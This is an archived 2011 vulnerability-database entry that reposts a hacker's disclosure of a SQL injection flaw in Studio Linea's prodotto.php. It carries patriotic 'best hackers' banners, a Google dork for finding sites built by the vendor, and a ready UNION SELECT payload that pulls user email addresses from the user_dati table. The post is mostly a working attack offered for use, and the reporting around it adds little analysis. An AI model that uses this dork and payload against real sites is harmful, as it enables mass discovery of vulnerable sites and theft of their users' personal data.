Studio Linea (prodotto.php?id) Remote SQL injection Vulnerability

2011-09-05T00:00:00
ID SECURITYVULNS:DOC:26959
Type securityvulns
Reporter Securityvulns
Modified 2011-09-05T00:00:00

Description

########################## IRANIAN THE BEST HACKERS IN THE WORLD
##############

Remote SQL injection Vulnerability

Studio Linea (prodotto.php?id)

AuTh0r : Ehsan_Hp200

H0ME : www.ehsanhp.blogsky.com

Email : Ehsan_Hp200@Hotmail.com

Vendor : http://www.studiolinea.com/

Persian Gulf 4 Ever!

Dork : "Designed by Studio Linea srl"

Exploite:

www.victim.com/prodotto.php?id=-5 union select 1,usr_email,3,4,5,6,7,8,9,10,11,12,13,14,15 from user_dati--

SpeCial TanX To : Skote_Vahshat

######################### IRANIAN THE BEST HACKERS IN THE WORLD ##################